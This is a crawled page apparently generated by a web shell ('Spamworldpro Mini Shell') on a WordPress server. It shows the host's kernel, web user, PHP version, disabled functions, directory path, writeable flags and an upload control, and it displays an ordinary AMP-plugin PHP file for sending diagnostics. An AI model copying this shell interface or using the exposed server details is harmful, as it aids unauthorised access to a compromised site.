Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux pod-100823:apache2_74:v0.6.0 5.4.0-1138-gcp #147~18.04.1-Ubuntu SMP Mon Oct 7 21:46:26 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33.10
Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system
Directory :  /nas/content/live/attorneyexperi/wp-content/plugins/diva/src/Support/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /nas/content/live/attorneyexperi/wp-content/plugins/diva/src/Support/SupportRESTController.php
<?php
/**
 * REST API support for Support.
 *
 * @package amp-wp
 */

namespace AmpProject\AmpWP\Support;

use AmpProject\AmpWP\Infrastructure\Delayed;
use AmpProject\AmpWP\Infrastructure\Injector;
use AmpProject\AmpWP\Infrastructure\Registerable;
use AmpProject\AmpWP\Infrastructure\Service;
use WP_Error;
use WP_HTTP_Response;
use WP_REST_Controller;
use WP_REST_Request;
use WP_REST_Response;
use WP_REST_Server;

/**
 * Class SupportRESTController
 * REST API support to send AMP support data.
 *
 * @package AmpProject\AmpWP\Support
 * @internal
 * @since 2.2
 */
class SupportRESTController extends WP_REST_Controller implements Delayed, Service, Registerable {

	/**
	 * Namespace for REST API endpoint.
	 *
	 * @var string $namespace
	 */
	public $namespace = 'amp/v1';

	/**
	 * Injector.
	 *
	 * @var Injector
	 */
	private $injector;

	/**
	 * Class constructor.
	 *
	 * @param Injector $injector Injector.
	 */
	public function __construct( Injector $injector ) {

		$this->injector = $injector;
	}

	/**
	 * Get the action to use for registering the service.
	 *
	 * @return string Registration action to use.
	 */
	public static function get_registration_action() {

		return 'rest_api_init';
	}

	/**
	 * Registers all routes for the controller.
	 */
	public function register() {

		register_rest_route(
			$this->namespace,
			'/send-diagnostic',
			[
				[
					'methods'             => WP_REST_Server::CREATABLE,
					'args'                => [],
					'permission_callback' => [ $this, 'permission_callback' ],
					'callback'            => [ $this, 'callback' ],
				],
			]
		);
	}

	/**
	 * Permission check to send support data.
	 *
	 * @return bool True if user have permission. Otherwise False.
	 */
	public function permission_callback() {

		return current_user_can( 'manage_options' );
	}

	/**
	 * Send AMP support data to insight server.
	 *
	 * @param WP_REST_Request $request REST API request.
	 *
	 * @return WP_Error|WP_HTTP_Response|WP_REST_Response REST API response.
	 */
	public function callback( WP_REST_Request $request ) {

		$request_args = $request->get_param( 'args' );
		$request_args = ( ! empty( $request_args ) && is_array( $request_args ) ) ? $request_args : [];

		$support_data     = $this->injector->make( SupportData::class, [ 'args' => $request_args ] );
		$support_response = $support_data->send_data();

		$response = new WP_Error(
			'fail_to_send_data',
			__( 'Failed to send support request. Please try again later.', 'amp' ),
			[ 'status' => 500 ]
		);

		if ( ! empty( $support_response ) && is_wp_error( $support_response ) ) {
			$response = $support_response;
		}

		if ( 'ok' === $support_response['status'] && ! empty( $support_response['data']['uuid'] ) ) {
			$response = [
				'success' => true,
				'data'    => $support_response['data'],
			];
		}

		return rest_ensure_response( $response );
	}
}

Spamworldpro Mini